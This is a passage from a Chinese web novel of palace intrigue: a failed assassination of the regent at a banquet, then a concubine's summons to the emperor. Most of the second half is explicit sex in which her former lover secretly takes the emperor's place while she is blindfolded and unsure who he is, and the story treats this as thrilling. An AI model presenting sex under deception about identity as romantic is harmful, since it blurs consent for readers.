“夺了我儿之位,还要夺我儿的女人!” “此贼不诛,我常褚秀枉为人母!” 李玄白:“张度!沈墨!” 金戈侍卫二首领出列,大步上前。 常太妃依旧尖声狂笑: “杀了这孽畜!我今日杀了这孽畜!此贼死了,我晔儿的皇位就保了!” “残杀手足之徒,你还不死,先帝在九泉下也不答应!去见先帝,好叫他教教你何为伦理,何为纲常!” “猪狗不如之物,敢在龙椅上高坐!” 一面大笑,一面连发。 金戈侍卫齐齐上前,在李玄白面前分为两列,一时弓箭噼里啪啦四溅,李玄白面前刀影削得翻飞,他一个纵身翻出长案,手一抬,已是七八颗流弹般的珠子萦绕周身,切齿道: “让开!” 金戈侍卫一惊,并不敢让。 李玄白又道:“让开!”话音未落,珠子有灵识一般迅疾前钻,直奔常太妃面门而去。 常太妃正挤着眼睛瞄侍卫的缝隙,忽而太阳穴旁一阵嗡嗡声,她一回头,苍蝇般的七八颗珠子密密地往脸上扑,她一时懵了。 忽而,所有珠子尽数坠地,叮叮当当,四面弹跃开来。 顾怀瑾收了手,复又用帕子仔细擦拭着五指,不咸不淡: “摄政王,太妃不可杀。” “不可杀!”常太妃仰着头一阵癫狂尖笑,仰得后背几乎与地面平行,“你杀不了我!定王在此,你奈我何!福余三卫!常家军!护驾呀!护着哀家!给我杀了这狂徒!” 李玄白夺了金戈侍卫的刀,嚓一声拔出鞘: “金戈侍卫听令!” 众侍卫声如洪钟:“是!” 李玄白:“今日,必杀常褚秀!” 金戈侍卫齐喝:“是!” 南琼霜在遥远的台下,见上头已经斗得一团乱麻,她没有兵,身上那点武功也不能在人多处施展,悄悄退至一旁。 乾和殿中,宾客不知不觉散尽了。金戈侍卫和常家军拔刀相向,飞鱼卫穆然肃立一旁。常忠、常平、徐卫几个仍在殿内,常达唤了人来附耳几句,那人忙不迭领了命跑了,兴许是回府调福余三卫前来。 一片狼藉之中,王茂行抱着奄奄一息的嘉庆帝跪地嚎啕,毛琳妍伏在地上哀哭,时而爬过去掐嘉庆帝的人中。 要变天了。 南琼霜心里一片冰凉,回身往窗外一望,只见雕花窗棂外树叶沙沙掀动,天上云翳舒卷流曳,湛蓝的明朗的天,渐被窗棂割断、浓云遮掩,看不见了。 要变天了。 她慌忙垂着泪跪到嘉庆帝身边去。 今日这一番,显然是常达和常太妃串通好了,要阴她一着。不想,李玄白一向夸夸其谈,胡说八道,竟然将二人的指摘一口应下。 谁也没想到,谁也没反应过来,嘉庆帝被这一句话气得宿疾发作,抱着头满地打滚。太妃久居于冷宫之中,本就是半个疯子,被他激得又失了常,疯疯癫癫的,竟然当众行刺。 至于那支小弓弩——定然是常达所赠。宫里哪有这些东西。 其中深意,是为叫太妃自保,还是利用太妃,就不得而知了。 忽然,她瞧见,有一人,蹑手蹑脚地从角落中缓步出来,手按在腰间剑柄上,蓄势待发。 前面,正是抱着肩膀躲在金戈侍卫后的李玄白。 他只顾及面前局势,后方却毫不设防。 南琼霜心里一紧。 李玄白若真丧了命,时局大变,就在今日。 “表兄——!” 这一声,李玄白蓦然回头。 那人刚刚好好与李玄白对视一眼。 南琼霜终于认出那人是谁。 徐卫。 徐卫也想刺杀摄政王? 哪知,李玄白与徐卫目光交接一瞬,面色未变,复又转回了身。 徐卫若无其事地拔刀出鞘,自然而然地混入了乱战一团的常家军中,挤到常太妃身前。 南琼霜简直疑心自己看错了。 李玄白都看见了徐卫踮着脚按着剑,猫在他身后,他竟然视若无睹? 他今日怕不是真疯了? 徐卫亦是大有蹊跷,一个整日跟在常忠身后溜须拍马的跟班,他为何要取摄政王的性命,难道大明宫倒了,好事就能轮到他头上? 今日这些人究竟是怎么回事?! 人群之中,李玄白怒不可遏:“一个一个的,哭着喊着要放这疯婆子出来,本王念着你们常氏一家情深,大发慈悲地允了,哪知是算着本王呢!一个常褚秀,也敢跟本王弄刀弄枪。今日常褚秀不死,本王决不罢休!金戈侍卫,就地格杀!” 常家军中分两旁,一人自军士的重重保护之中走出来,浓眉粗髯,面色枣红,是常达: “摄政王,且慢,还请听小王一言。” 李玄白笑:“我听个屁。” 常达抱拳:“太妃久居静思轩多年,冷宫寂寞,太妃连个说话的人都无,日子久了,言行皆有些反常。珍妃娘娘亦说,太妃多呓语狂言,您别同一个疯子计较。” “好,我不同一个疯子计较。”李玄白语气骤然转狠,“——你没疯,我跟你计较。张度!” 不待常达发话,常达身后的常家军顿足示威,刀已出鞘。 形势已是箭在弦上,十万火急。 南琼霜看了一眼殿中格格不入的人。 顾怀瑾坐在椅子中,自斟了一盅酒,闲散怡然,自得其乐。 她一瞬明白他在打什么算盘。 常李相争,越剑拔弩张越好。最好双方失控,同归于尽。 何况,常达那一方,常忠常平全在场。若真出了什么事,定王府可连根拔起,一网打尽。 千载难逢之机。 忽然,却听常达身侧,一道清隽嗓音:“爹爹,莫急!” “鹬蚌相争,渔翁得利!” 势如水火的双方当即一顿。 南琼霜心中亦是一凛。 众人诧异朝出声的人望去。 那人束着高马尾,眉眼与常达、常忠皆有相似之处,不同的是眼神更清更明,轮廓也更俊朗些,不似常达、常忠浑圆如土豆。身上少酒色财欲,一眼看过去,便知此人尚算干净,并非常忠那般无赖之徒。 常忠的弟弟,常平。 常达如梦初醒,才知刚才差点落得个盘中餐的下场,心有余悸,又从未想到他这小儿子有如此见解,从没认识过常平似的将他打量一圈。 常平恭敬垂首。 常达欣慰又惊艳,拍了拍他的背:“好啊,好。平儿,有谋!” 常忠在背后歪着嘴嗤了一声。 顾怀瑾作壁上观半日,算盘落了空,觉得今日双方是争不起来了,理了理袖摆,起了身。 不慌不忙 地在二人身侧站定。 “定王,摄政王,敢问二位这是做什么。” 他道:“常太妃出静思轩,本是大喜之事,谁知竟闹得如此不快,枉费顾某奔波查案的一番苦心。” “太妃言行无状,所说的话不足为信。定王空口无凭,无故指摘摄政王与娘娘有私情,是对摄政王和娘娘不敬。摄政王满口胡言乱语,竟将此等大事当做儿戏,随意应下,不仅叫皇上龙颜有失,亦损了您自己的颜面。” 李玄白冷笑:“怎么,二王之争,你个半分官职也不挂的草民,也敢评头论足?” 顾怀瑾手负在身后,一笑,“顾某自然不敢。顾某也不是来给二位断案的,是来告知二位一件事。” “方才,顾某下了令,宫门提前下了钥。” “飞鱼卫在紫禁城四门把守,若无皇上手谕,苍蝇也不给放出去。所以,不论是定王的福余三卫,还是摄政王京畿的大军,手都伸不进宫里来。宫中的事,宫里解决吧。” 他慢悠悠笑着:“毕竟,正如方才那位小兄弟所说——‘鹬蚌相争,渔翁得利’。这等好事,送到顾某面前,顾某又怎好驳二位面子呢。” 李玄白心中再不甘,也变了色。 常达忽然发觉他这小儿子大有可为,喜不自胜,替自家妹妹出头的心给分去一半,抱拳道:“小王怎敢与摄政王相争。是因太妃言行疯癫,触怒了摄政王,小王为自家妹妹求情,恳请摄政王留太妃一条贱命。” 李玄白冷哼一声。 常达再垂首以示退让:“只要摄政王肯留太妃一命,今日因小王和太妃而起的流言,小王愿出面澄清。” 李玄白懒懒挑眉:“本来就没有的事儿,本王还怕人说?” 常达垂首不答,只是沉默。 这意思是,他不会再退。 李玄白翻了个白眼。 留常褚秀一条贱命,好过他与定王争得两败俱伤,让姓顾的捡漏。 他狠狠咬了一瞬后槽牙,道:“留她,可以。再进静思轩!” 顾怀瑾淡声道:“放太妃出静思轩的诏令,墨迹还未干呢。朝令夕改?” 李玄白从未如此烦躁,将嘴唇内侧都咬出血来。 他今日刚吃了说话没谱的亏。就连他说了两人有私情,都无人相信,因为他素来信口胡说。 这样下去,说不准有一日,他下令都没人听了。 他道:“叫这疯婆子给我滚出宫去,别在这碍本王的眼!” 常达恭恭敬敬道:“那么,小王接太妃出宫,回定王府居住。” * 今日这场荒唐宫宴终于散了。 嘉庆帝瘫在紫宸殿云团般的衾被里,眼圈乌黑,眼泪糊着眼缝,咿咿呀呀地哼息。 他在乾和殿内病发得急,实在没精神参与乾和殿内那档子事,王茂行早早将他送回了寝殿,传了太医。 顾怀瑾待争端平息、双方散尽,方才赶到。 一跨过紫宸殿的门槛,便闻见里头一阵药味。嘉庆帝躺在层叠金纱床幔之中,四周华丽的一切衬得他越发枯槁,他低低地念: “连我母亲……也要害我……连我母亲,也要害我呀……” 王让流着眼泪,跪在床边絮絮地劝:“哎唷,您千万别这么说。太妃是为您才铤而走险的呀!” “太妃是要我听舅舅的话!”嘉庆帝呜咽着,脸孔都扭曲了,眼泪哗哗淌下,“太妃是要我听舅舅的话!连朕的母亲,都要朕做定王的傀儡……” 王让未及答话,瞥见身旁一截玄黑衣摆,识趣地退至殿外。 顾怀瑾:“顾某给皇上请安。” 嘉庆帝忙不迭起身迎他,撩起床幔,急慌慌地朝他伸手:“来,先生,来!” 顾怀瑾其实不喜与人肢体接触,此时也无法,被他牵着,坐到榻边。 “先生,您说,”嘉庆帝支着身子,抽噎得像个孩童,“您说,太妃今日是为何。是为了叫我身边只有妍儿?” 顾怀瑾:“以臣之见,是。” “妍儿正将朕的一举一动报给定王府?” 顾怀瑾:“八成。” 嘉庆帝两行泪从眼底喷出来:“妍儿待朕那么好,人又贴心……” 顾怀瑾不知说什么好,唯有默然。 “那德音呢?”嘉庆帝慌忙抬起头来,眼里一点悲哀的希冀,“德音也将朕的言行报给大明宫吗?” 谢德音何止要将你的言行报给大明宫。 顾怀瑾难以同他那双含泪的眼睛对视,偏开脸。 嘉庆帝久未得到答复,心如明镜,人终于脱力,嗵地一声砸在衾被里,木木地流眼泪。 “先生,您说……如何是好。” 顾怀瑾:“雨露均沾,双方制衡。” 紫宸殿内再无人说话,唯有瑞兽香炉中安神香袅袅。 窗外起了风。树枝被吹得囫囵,细碎的叶片哆嗦着闪烁,天边浓云涌来又退去,退去又涌来,变幻莫测。 嘉庆帝望着窗外流泪:“变天啦,先生。变天啦。” 顾怀瑾摸着扳指:“太妃刺杀摄政王,便是定王刺杀摄政王。从今往后,确与从前不同了,皇上心里要有所准备。” 嘉庆帝:“过完啦……安生日子过完啦……先生。回不去啦。” 顾怀瑾心里也如一团乱麻。局势诡谲莫测,他入局太深,只怕难以抽身而退。 功不成,定然是身死,功成,也未必能活。 当初为还老掌门的人情,他答应出山,今日一看,未必明智。 嘉庆帝忽然道:“朕今夜召幸珍妃。” 顾怀瑾有点茫然:“什么?” “朕今夜要幸珍妃。”嘉庆帝又说了一遍,“定王那颗鹿血丹,朕要用在珍妃身上。” 顾怀瑾望着他,没说话,也没动作。 嘉庆帝自己说下去:“不论是为双方制衡,还是为跟摄政王争一口气,朕今夜,要幸珍妃。” 顾怀瑾静静道:“皇上,摄政王不过是顺口胡诌。” “谁知道到底是不是?”嘉庆帝苦笑,脸埋进枕间,“朕的身体,先生是晓得的。倘若珍妃真敢不忠!”他声音骤然狠厉,“朕今夜叫她尝尝瞧不起朕的滋味!” 顾怀瑾替嘉庆帝将被子掖了掖:“皇上,白日刚发了头风,夜里便要召幸嫔妃,于龙体无益。” “先生莫要多说了。” 嘉庆帝阖了眼,“朕的令,已经传了。” “先生先为朕针灸吧。” 顾怀瑾直起身子,无言从窗外望出去。 他身影如冬日荒山般寂寥。 雕窗外,树叶翕动,满目纷纷。 * 南琼霜已经得了令,开始沐浴梳妆。 清涟远香两个,陪她沐浴,为她熏香,又为她化妆。她连发上都抹了玫瑰萃出的精露,唇上点了花瓣研的口脂,脸颊用奶皮子敷过,指甲也被打磨得纤而娇贵。 慎舒姑姑守在她身侧——宫宴上,李慎舒没胡乱开口,她回了菡萏宫便将李慎舒讨了过来——一面伺候,一面赞不绝口:“娘娘当真是花容月貌。” 她神色恹恹,懒得应。 做攻心刺客,有这一天,不足为奇。 她也早有觉悟的。 为了她的目的,她不计代价,什么都不重要。 只是。 总是有一个“只是”。 她含着恨,将刚刚磨好的水玉般的指甲咬劈了。 “哎呀,娘娘……!”远香惊呼一声,“才刚打理过的指甲,怎么好……!若是刮伤了皇上怎么办!” 那他就死啊,她心里道。 她道:“无妨。” 远香手忙脚乱地替她重新磨着指甲。 她心里烦得很,啧了一声把手收回来:“别磨了,时辰到了。” 烛光里,妆台上放着一根黄云纹金绸带,叠作一沓,折得整整齐齐,在昏黄灯火里流着丝质的光泽。 嘉庆帝即便服了鹿血丹,也怕自己体虚难堪,为留几分薄面,特赐了她一根黄绸带,要她受幸时缚在眼上。 自然,这缘由是她猜的。王让的原话是:“嫔妃之礼,目无全龙”。 她笑笑,着人倒了一盅桃花酿,连饮三盅。 她平日不饮酒。 今夜饮酒,是怕露馅。 饮毕,李慎舒替她妥帖将黄绸带绑好,她搭着李慎舒的手,一步一步,躺入熏过香的衾被,由着众人将她卷在被子里,送入紫宸殿。 紫宸殿的安神香,她醉了也嗅得出来。 嘉庆帝并未让她等多时。 她缚了绸带的昏黄一片的视野里,隔着黄云纹,殿内烛焰明茫。两三盏华灯,罩子里一点扑朔的光,一个影子撩开了床幔,长发倾泻满身,伏身上前,将她罩在身下。 那一点光也就消失了。 她的泪默默洇湿在绸带里,连她自己都看不见。 嘉庆帝倾身过来吻她,吮她的唇瓣,鼻尖相蹭,一点啧啧水声。 她呼吸间都是酒的桃花香。 她不知道怎么回应他的吻。吻也不是,不吻也不是。其实自欺会好些,她可以骗自己他是另一个人——但她没有自欺的习惯。 嘉庆帝今夜确是有备而来。 她什么也不必做,他已经箭在弦上,蓄势待发。 他气势汹汹地趴在她颈窝里吻她,吻得她仰着头缓息,手又把着她尖尖的下颌,将她的头拨到一边,一点一点,沿着她脖子吮.吻。 滚烫的呼吸喷薄在肌肤上,叫人措手不及的亲昵。 她其实最耐不了被亲脖子,可一想到身上人是谁,整个人就跟座菩萨似的八风不动。 菩萨的美德是宽容,她因此也宽容他作祟,从颈间,一直、一直吻到她不得不攥着拳头忍受的地方。 她不说话,咬着牙,渐渐也不落泪了。 嘉庆帝一句话也不说。 她不知道他今日何以如此情动。半分撩.拨都不需,上来就要抵着她。见了她,整个人就撒不开手,下面来来回回地蹭,抱着前前后后地亲,像是沙漠里行将渴死的人,骤然见了水源,迫不及待地低头啜饮。 身上落了一片密密的软软的吻,酒也渐渐起了效。 她怕自己过会就酒后失言,先背了一遍:“皇上……” 身上人骤然停了。 所有的吻僵住,他许久未动。 良久,她慌张惊呼一声,险而又险地叼住唇瓣。 他恨恨地压进来,不给她准备半刻。 “皇上……”她的哀呼都绞碎在喉咙里。 身上人俯身下来吻她,接吻。 她掐着掌心同他缠绕唇舌。 紫宸殿。安神香。黄云纹的黄绸带。金纱床幔。云团般暄软的衾被。 处处明黄色,处处绣龙。蟠龙、黄龙、青龙、云龙。 这地方,她来过很多次。多到,想骗自己这里是四象塔,也骗不得。 身上人又深入了些许,来了又撤,她身上一阵发毛。 终于,他放开了她的双唇。 一根绸带落在她脸上,他打开她的双唇,把绸带绷到她双齿之间,要她咬着。 一面徐徐造访。 她抻长了脖子,唾液润湿了绸带,蹙着眉强忍。 忽然却嗅到。 齿间的那根绸带,若有若无地,带着点她熟悉的气息。 在龙床上。 第163章 她心里有个石破天惊的猜测。 但那猜测太惊悚、太骇人,她简直不敢去想。 嘉庆帝仍旧好耐性地索取,低喘着,但一言不发。 她不知道他今日缘何如此沉默。这么沉默,好像在故意佐证她那可怕的猜想似的。 但真是那样,就太难以置信了。 她道:“皇上,您——” 话被堵在喉咙里,她才惊觉自己叫了一声。 这时候,才明白那根咬在她齿间的绸带是何作用。 他故意磋磨她。 因为那一声“皇上”? 她隐隐约约地觉得,不对劲,太不对劲了。如果是嘉庆帝,他不必一句话不说。如果是…… 如果是……他,他是怎么做到的? 他怎么有胆子做这种事? 她即便有了猜测,仍旧不敢确定。 他要得愈发急切,床幔都悉索地轻摇起来,帘子底下缀着的金片一阵泠泠的响,她只觉脑子里满涨得厉害,整个人都受不住,几乎被撑得从中裂开。 那种感觉,酸胀而痛愉,她不知自己是难受还是享受,毛骨悚然,汗毛直立,难以保持理智。 咬着牙强忍,抻长脖颈抓紧了床褥。 一摸,凉而滑的丝绸,刺着金龙。 她几乎被那龙眼蜇得刺痛。 因为眼上缚着绸带,视觉歇闭了,所有感官被无限放大,安神香的薄荷味、床幔窸窣的轻响、脚趾的痉.挛、大腿的筋的跳动、体内他的凸筋的跳动、耳边他难以自拔的低.喘,混着难言的充实感、异物感一齐席卷上她天灵盖,四肢百骸都没入蚂蚁的啮咬里。 知道或许是那个人,她控制不住地,几乎开始享受了。 可是。 刚在极乐的海啸里漂流过两个浪,天上霎时劈下一道惊雷。 假如是她弄错了,怎么办? 或许这个人就是那个疯子。 她登时从疯狂的浪里跌下来。 可是。又是可是。 他们彼此了解,几乎心有灵犀,一件东西,她拿到手,便能知道是否是他的。她会弄错吗? 身上人知道她所有的喜好。所有习惯,所有敏感之处。若无那根绸带,他要她连连哀呼,简直不费吹灰之力。 他了解她的身体,像匠人了解自己的造物。 她真的会认错吗? 但是。 但是,他怎么敢? 又一下重重地舂击。她咬着绸带,叫呼被生生捂在喉咙里,带点焦灼的嘶哑。 他仍旧一句话不说,可是她渐渐连思绪都断了。只要知道也许就是他,她就沦陷其中。 龙帐之中,一时只余两人交织的呼喘。 她也不敢说话。 如果是他…… 她希望是他。 但如果是他,他们不能这样。 谁知道嘉庆帝去了哪,谁知道嘉庆帝什么时候回宫? 他很有可能会回来。 就现在。 任何时候,任何一秒。 她眼神失焦地吐出一口气。 假如被嘉庆帝发现,九个脑袋也不够杀! 龙帐抖得更加激烈,金片甩得叮叮当当,烛火明昧不定,她心里越想越怕,拼命睁开眼想瞧瞧面前人,可是逆着烛光,她什么也看不见,一切,只有紫宸殿嘉庆帝睡惯了的那张床。 她简直要疯了。 越怕,越知道这里是紫宸殿,越知道是嘉庆帝睡惯了的那张龙床,竟然还愈发欲罢不能。 她绷着身子,被给得几乎躺平不得,几回乍坐起来。 身前人按住她的肩膀,沉着地将她吻回去,按在刺着金龙的软枕上。 深深的、贪婪的、陶醉的吻。 疯了。如果真是他,两个人都疯了。 她不敢认。即便知道自己是不会认错的,也不敢认。 她偏着头,听天由命地任他为非作歹,捂住嘴,所有心思都在按捺喉咙眼的曼吟上——即便殿内没有人,殿外也一定有人。 渐渐地,风口浪尖。 忽然,就在这风口浪尖上的一个瞬间,身上人停了。 他缓缓抽身而退。 她登时一股百爪挠心的不甘和空虚,但不敢问。 如果认错,一个字,就够她凌迟而死。 她喘着气,蒙着眼,气喘吁吁地隔着绸带分辨眼前人。 是他吗? 是他。应该是他。 如果是他,停什么停!说不准下一句话那疯子就回来了! 但如果不是他…… 那人终于开了口: “——知道我是谁吗?” 一切终于分明。 南琼霜仿佛沉冤得雪、大仇得报之人一般,痛快地舒了一口气,可一口气之后,便是麻痒嗜人的空虚。 千头万绪,要紧的事太多,她竟然不知从何说起,沉吟半响,她道: “快点,你快点。” 她自己也没想到,人会如此折服于肉身。 嘉庆帝说不定就回来了。任何一秒。 她嗓音黏着: “事已至此,就……快点。” 他低低地笑:“认出我来了?” 她带点恼恨,去拧他胳膊:“你竟然敢拿这种事恶作剧……” 她一把把黄绸带拨开,缀金的床帐之外,被烛火映得昏黄的是华贵无匹的海墁天花,再一环顾,正正是她整日只能搭个边坐的那张龙床,心里一阵焦虑胆寒,理智刚回笼片刻,忽地身体深处滑进了个难以忽视之物,又将她那点清醒搅散了。 墙上的万里江山长卷,默然望着层叠床幔中的两人。 两人交叠在一处,男人尚还能忍耐些,女子已经软着腰陷进身后的明黄色靠枕里,乌发如云,她耸着白腻的肩左右甩头,一根黑绸,咬在齿间。 那一根带子,几乎也勒不住她的低呼了。 她从齿间艰难地、极轻地吐字: “……他不会回来吗?” 顾怀瑾低低地哄她: “他在景仁宫。” “那……你怎么就知道……他不会回来?” 顾怀瑾吻去她鼻尖的汗: “八成不会。” “你这样……”她低下眼,眼尾红得一片嫣然,“你不是疯了吗?我们不是疯了吗?” 他只是笑: “从你杀我又坠崖,我早不正常了。” 她没话了,太阳穴突突跳,身体深处也突突跳。 他忽然道:“你别叫,外面有人。” 她很迷惑:“我叫了?” “嗯。”接着送了一回,不知是有意还是无意,几乎抵到花萼。 她嘶着嗓子挣扎起来。 “我们……我们怎么能……”她魂飞天外,又哭笑不得,“这儿是什么地方,你简直是同我玩笑……” “原本也没想。”他一呼一吸重得喷在她颈间,“原本只是想把你带走。可是,你……乖顺地躺在这,任人宰割,我没忍住。” 她抓着他肩膀,迷迷糊糊地想起,上一回好好说话,还是仙女湖那艘花舟上。 她也很想他。 算了吧,清醒有什么用。他几乎死过一次,她跟魂飞魄散也没两样。 她梗着脖子,喉咙里愈发一阵焦灼的、喑哑的、痛苦又销魂的嘘吟,渐渐人也被送到千夫所指、险而又险的断头台上,风急浪高、摇摇欲坠。 世界可以在这一秒灭亡。 王让:“皇上,您小心着点,夜里黑。” 两人动作一顿。 王让:“皇上,您别着急,贵妃娘娘她不是有意的啊。您可千万别气坏了自个儿的身子!您今儿白天才大动肝火,急得自己头风都发了,您的身子哪经得起这般折腾啊,您消消火!” 床上两人对视一眼,霎时抽离,卷身下地。 脚步声急急从窗外传来,嘉庆帝大喝:“狗奴才,闭嘴!” 声音已到了殿门口。 来了,果然来了! 南琼霜脑子里什么绮念都没了,一下地,先软着腿跪了一下,残存着一点理智想寻出个法子来,可是身上余兴未尽,哆嗦着身子想寻个地方躲一躲,脚又软得站不起来。 四下一看,那床将她裹着送来紫宸殿的鸳鸯云被,还大喇喇铺在龙床上。 她战战兢兢地先将那床被子拖下来,将两根绸带急捡起。 嘉庆帝的脚步声已经入了正殿。 回声在四面墙中悠荡。 她浑身软得站都站不起来了,脚步声一下一下逼近。 来了,来了。 她拥着被子,咬着牙,拼命站起身来,伏在床边,将床褥一点点抻平。 嘉庆帝:“朕定要杀了摄政王!” 真的来了。 她拼尽全力,最后拨着床幔,轻轻归回原样,卯出一股力想逃。 忽然膝弯被人一捞。 她打横被人直直抱起,顷刻双腿就腾了空。 不敢多想,她拼命将带来的云被拖走,两根绸带攥在手心里。 顾怀瑾不知怎么带她走的,不知带她去了哪里。里头是一片黑暗,那大红锦面的鸳鸯被终于被拖入了光与暗的分界线,最后一片红色的被角,被缓缓合上的阴影吞噬。 最后一线光明被夹熄时,一点绣着金龙的衣摆,拂上紫宸殿的金砖地。 密室里是一片死寂的黑暗。 潮湿而闷窒的气味,发了霉,带点阴冷的土腥气。 只余两人此起彼伏的呼吸声。 无人说话,两人屏息。但太静了,还是喘得彼此都心焦。 没人敢说话,没人敢动作,两人静静听外头的声音。 嘉庆帝:“晟贵妃是越发肆无忌惮!朕这皇帝当的,是忒窝囊,人人都敢不敬,人人都敢到朕面前放肆!” 声音响在密室里,仿佛隔着水面听人声似的,闷闷的,嗡嗡地盘旋。 听得却很清楚。 这种把戏,她见过。密室内应当放了传音用的三音石。 这是专用来监听天子言行的密室。 她心中一阵忌惮。紫禁城之内,不知道有多少秘密,可是谁也没想到,连天子寝宫,都被人监听着。 墙上一颗豆大的亮光。 密室里太暗了,那一点光就亮得几乎扎眼,她踮着脚凑过去,眯眼一看。 一个专用来窥伺紫宸殿的小孔,孔内装着凸镜。 嘉庆帝身着明黄常服,气急败坏地从凸镜前顿地怒行而过,影子被凸镜扭曲了,仿佛水面上的油花。 这个视野,应是从那面挂着千里江山图的墙上,往内看的。 她忽而想起,有一日她到紫宸殿中侍疾,无意中瞥见那图上有只鸟雀的雀目格外明亮,但光一闪,又寻不见了。 那雀目便是小凸镜。 身上忽然覆了什么东西。 顾怀瑾拎着她带出来的锦被,替她围上。怕她冷,也免得她蹭到密室的墙,嫌脏。 她回身望了望他,可是太黑了,看不清他的轮廓:“皇上发的什么火?” 顾怀瑾:“不知道。”意味深长地一哂,“不过他也该发火。” 她听出他语气里一点快意,心里系着寝殿那边,没理会。 顾怀瑾光滑的两臂又绞住她腰身,从背后拥住她,垂下头轻轻地在她肩上绵吻。 嘉庆帝:“没想到那贱人敢如此无礼!将朕的面子放在地下踩!说珍妃同人有私情?!” 她心里猛地一凛。 一阵稀里哗啦的碎裂之声,王让:“哎唷,皇上,您这又是何苦!” “何苦?!珍妃同人有私情,不就是骂朕无能不举,朕的面子往哪搁,齐宋的颜面又往哪搁!” 他歇斯底里:“朕的女人!若同人有私情!朕会杀了她!” 身后人压上来,一只胳膊撑在她身侧,她顿时被搡得趴在密室冰凉的墙上。 未等明白,一尾大鱼又缓缓挤入藕荷深处。 她强耐着不出声。 涨满、咬合、水泄不通。 王让:“皇上,没有!没有!那是摄政王胡诌的呀!” 她憋着气咬牙半晌,还是挤出一声痛苦的哼鸣,捂着嘴贴着墙面。 嘉庆帝哗地又撂了一只宝瓶: “谁知道有没有,谁知道有没有!不论有或没有,朕不想!听见!人说!” 她受不了,艰难回过头,嚼碎了字,断断续续往外吐: “你怎么……” 顾怀瑾的呼吸喷在她颈间,上下都热不可耐: “原本都快……我忍不了。” 她强撑着清明,“我们这样未免太……” 这算什么,这算什么啊。 方寸大乱、狼狈不堪地一同滚下龙床,赤着身子捡被子,黄鼠狼一样躲进密室。 皇上就在隔壁,一墙之隔的地方,歇斯底里地咒骂她,说她偷情。 她在这边偷情。 身上胀愉得太厉害,她无师自通地绞合吮.吸,趴在墙上,墙的寒意隔着被子沁出来,她脸埋在被子里,强吞下所有呜咽。 一面浑浑噩噩地想。 他如今怎么连这种事都做了。 从前,天山上,他可是躺在一块都不肯亲的。 她艰难道: “做这种事……你心里好受?” 身后人忽然僵住了。 片刻,他声音像毒蛇一般喷薄恨意: “原本就该是我的,原本就是我先!我们订过婚了,早就订过婚!分明是他抢我!我又有何要愧疚?!” 她急呼一声,咬住手掌。 他一旦动怒,回回就叫她更难忍,她额头抵着墙,一面咬牙,一面迎他留他,抬起头来长入一口气。 “皇上会不会发现?”她被搡得几乎窒息,心内只有这一件事,“我方才把被子撤了,绸带捡了,床褥铺了,床幔也归好了。一直垫着被子,床上应没有什么。” 话忽然断了,她“唔”了一声,嚼碎了低吟往肚里吞。 “床上没有落下什么,我看了一眼。” 他将她转过面来,正对着他,又俯首去吮她的脖颈。 “但是我来紫宸殿,应有宫人看见了。到时还得从紫宸殿回去……” “不必。”他的呼吸熏得她耳根滚烫,那么近,光滑的心口相互摩挲,“送你来紫宸殿的是我的人。特意吩咐过……”他皱着眉嗯了一声,“避人耳目。” 他断续道:“皇上想翻你菡萏宫的牌子,被我劝住了,说定王送来的东西,不用在定王想用的人身上,会生事端。” “但给你的令已经下了。皇上忘了这回事,直接去了景仁宫,紫宸殿空了。我想见你,就安排了人接你。” 她一愣:“你在紫宸殿接我?” “这座密室……连着顾府。”他道,“顾府是从前一位重臣的旧宅,时人都说他最懂帝王之心,现在一看,原来是偷挖了连通紫禁城的密道。” “我本想把你从密室带回去,”他苦笑,“没忍住罢了。” “你想见我,叫清涟她们给我传信不就是了?何必铤而走险?” 他呼着气贴近,口唇已经喘得焦干: “我传信想见你,你来过吗?” 她心上仿佛被扎了一下。 他轻轻道,“来过吗?你自己说。” 她后知后觉地心里发酸,冰凉的指尖,去摸他滚烫的脸。 他说:“等会回去和你算账。” 掐着她的腰,将她举在墙上,一面将她双膝盘上自己的腰。 她渐渐地又无法言语了。咬着手指,一呼、一吸,无助地仰着头,不受控制地往下滑落,却又刚好被别得更深。 嘉庆帝声嘶力竭的咆哮隐约在耳: “珍妃若真敢同人偷情!朕非杀了她!不留全尸!凌迟处死!” 万蚁噬心,她已不知自己是奔赴极乐,还是早投黄泉。 “晟贵妃也当真是疯了!姓常的当真是家传癔症!莫非朕召幸她,就不能召幸别的女人了?!”一阵剑刃嗖嗖剜风之声,接着又是瓷瓶炸破的叮当巨响,“朕愿意召她!已经是给她十分面子!她竟敢不满?!” 她不期然惊惶呼了一声,赶忙捂住嘴。 “就因为召她之前,先召了珍妃!她竟敢大叫说珍妃与人偷情?!杀了,朕都杀了!——” “珍妃、晟贵妃、摄政王,杀了!全杀了!” 她心惊胆战,终于再忍不得,流着眼泪哀叫。 被顾怀瑾一掌捂住。 又要咒她,又要骂她,又要杀她,还要凌迟。 她被逼成了亡命之徒,不做不快,至死方休。 终于墙外一阵剑刃劈瓶的暴响。 苦攀悬崖之人,掂着足尖在高崖上岌岌可危,最后一个瞬间,天崩地裂。 她轰然坠下。 世界都委落了,闭了幕。她像垂落的帘幕一般往地下扑去。 被他搂住了。 她脑子里嗡鸣巨响,神思也混沌,身子也麻痹,顾怀瑾扶着她,在她耳边同她说话,她歇了两刻,才听见。 他说:“累吗?” 她昏头昏脑地点头。 他说:“想我吗?” 她依旧点头。 他说:“跟我回府吗?” 她点头。 他笑:“那么,要我吗?” 她点了头。 * 从密室到顾府,是一段狭窄、阴冷又潮湿的路。 顾怀瑾抱着她走回去。 直到坐到了他的榻上,她才渐渐回过味来。 本是去侍寝,兜兜转转,又是他巧施手段设的局,又将她抓回了手掌心。 以嘉庆帝的名义下旨,她甚至没有怀疑一丝一毫。 不过。 她叹了口气。 由他吧。 顾怀瑾已经披好了寝衣,推开门,手中端着一个托盘,一只碗。 碗中热气腾腾,是八宝粥。 她望着他,拽起了被子围身子:“拿件寝衣呗。” 他偏头一望,往枕边扬扬下巴:“榻上有。” 她默了片刻,将那衣裳从被子底下掏出来。 倒是叠得整整齐齐,可是,不知为何,尽是细小的褶子,仿佛整日被揉作一团,皱巴得可怜。 她将那衣裳展开:“是我在四象塔上那一件?” 他不说话,沉默着将桌上墨砚归到桌边,摊开的字帖收起来。 “这都没有洗过。”她道,“拿件干净的,乖乖。” 最后两个字一出口,他手一顿。 她提心吊胆地等。 良久,他未回头,“没有干净的。也只有你穿过,凑合穿吧。” 她的衣裳,他总共没有留下几件。整日放在枕边嗅着,渐渐都没有多少她的味道了。 洗一回,剩下那点,就更没了。 谁知道她会在他这留多久。说不准一翻脸,又走了。 给她洗了,谁来赔他? 她叹口气:“不想穿没洗过的。把你的衣裳给我披一披?” 